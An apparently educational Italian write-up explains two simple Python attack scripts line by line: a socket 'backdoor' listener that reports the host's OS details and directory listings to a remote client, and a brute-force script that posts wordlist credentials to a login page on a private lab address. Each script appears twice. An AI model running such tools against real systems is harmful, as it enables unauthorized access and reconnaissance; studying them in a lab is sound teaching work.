Backdoor :(porta sul retro) serve per attaccare un'altra macchina ,lo scopo è creare una connessione con un'altra macchina da remoto

- Import : con l'import importiamo moduli esterni in questo caso il modulo socket ,platform e sistema operativo os
- è il nome delle variabili (indirizzo ip e la porta) l' IP è lasciata vuota perché va inserita
- In questa riga è creata una nuova funzione (s) che utilizza i seguenti parametri: IPV4 e il le connessioni tcp
- creiamo un metodo con il quale associamo il socket al indirrizzo IP del server e alla porta
- Il metodo seguente utilizzato configura il socket per ascoltare sulla coppia ip e porta che abbaimo indicato in precedenza, all'interno della parentesi è inserito il numero massimo di connessioni che puo eseguire
- Di seguito è utilizzato il metodo ACCEPT per accettare e stabilire una connessione con l'indirizzo ipv4 del client che si collegherà
- output a schermo per l'utente dove si vedrà l'indirizzo della macchina del client

```python
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
    except:continue

    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()
```

- Una volta che il client si è connesso inizia lo scambio di dati . Per lo scambio viene usato il ciclo while in questo caso sempre vero ,cioè verrà eseguito all'infinito
- in queste 3 line di codice : è usato il TRY per far eseguire il download dei dati e in base a questo esegue 3 diverse azioni :

1. se l'operazione ci darà 1 eseguirà la funzione di sotto, che restituisce l'informazione del sistema operativo e la sua versione

2. Se il client invia 2 il server esegue il comando (os.listdir) che ci mostrerà la lista dei file in una directory

3. Infine se il client invia 0 il server chiude la connessione

```
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
    except:continue

    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()
```

Brute force: letteralmente forza bruta , questo tipo di attacco ci permette di individuare chiavi, password o dati login utilizzando tante combinazioni possibili fino a trovare quella giusta.

Per eseguire questo attacco il codice viene diviso in due parti :

1. Inziamo preparando i file txt scaricati ,il primo contenente i nomi utenti più utilizzati,e il secondo le password più usate. Con la funzione "open" apriamo leggiamo i file ,invece con la funzione "readlines" copiamo il contenuto dei file nella variabile "user_list" il quale useremo dopo per il ciclo "for"

2. Qui usiamo il ciclo for per testare tutte le combinazioni di nomi e password. Usiamo il for nidificato ovvero il for con un'altro for al suo interno

```
import http.client, urllib.parse

username_file = open('nomi_utenti.txt')
password_file = open('password.txt')

user_list = username_file.readlines()
pwd_list = password_file.readlines()

for user in user_list:
    user = user.rstrip()
    for pwd in pwd_list:
        pwd = pwd.rstrip()


        print (user,"-",pwd)

        post_parameters = urllib.parse.urlencode({'username': user, 'password': pwd,'Submit': "Submit"})
        headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/html,application/xhtml+xml"}
        conn = http.client.HTTPConnection("192.168.56.102",80)
        conn.request("POST", "/login.php", post_parameters, headers)
        response = conn.getresponse()

        if(response.getheader('location') == "benvenuto.php"):
            print("Logged with:",user," - ",pwd)
```

Fare clic per inserire testo

- La funzione print fa visualizzare in output nome e password

- Nella variabile post_parameters vengono inserite le combinazioni di nome e password, queste vengono inviate tramite una HTTP REQUEST alla pagina di login.php, dopo aver effettuato una connessione alla porta e ip con il metodo http.client.HTTPConnection.

- Se l'header della pagina ci risponde con "benvenuto.php" vuoldire che siamo dentro alla pagina ,questo ci indica che le credenziali messe sono valide. Se invece l'header è diverso il programma tenta con la seguente combinazione fino a trovare quella giusta.

```
import http.client, urllib.parse

username_file = open('nomi_utenti.txt')
password_file = open('password.txt')

user_list = username_file.readlines()
pwd_list = password_file.readlines()

for user in user_list:
    user = user.rstrip()
    for pwd in pwd_list:
        pwd = pwd.rstrip()


        print (user,"-",pwd)

        post_parameters = urllib.parse.urlencode({'username': user, 'password': pwd,'Submit': "Submit"})
        headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/html,application/xhtml+xml"}
        conn = http.client.HTTPConnection("192.168.56.102",80)
        conn.request("POST", "/login.php", post_parameters, headers)
        response = conn.getresponse()

        if(response.getheader('location') == "benvenuto.php"):
            print("Logged with:",user," - ",pwd)
```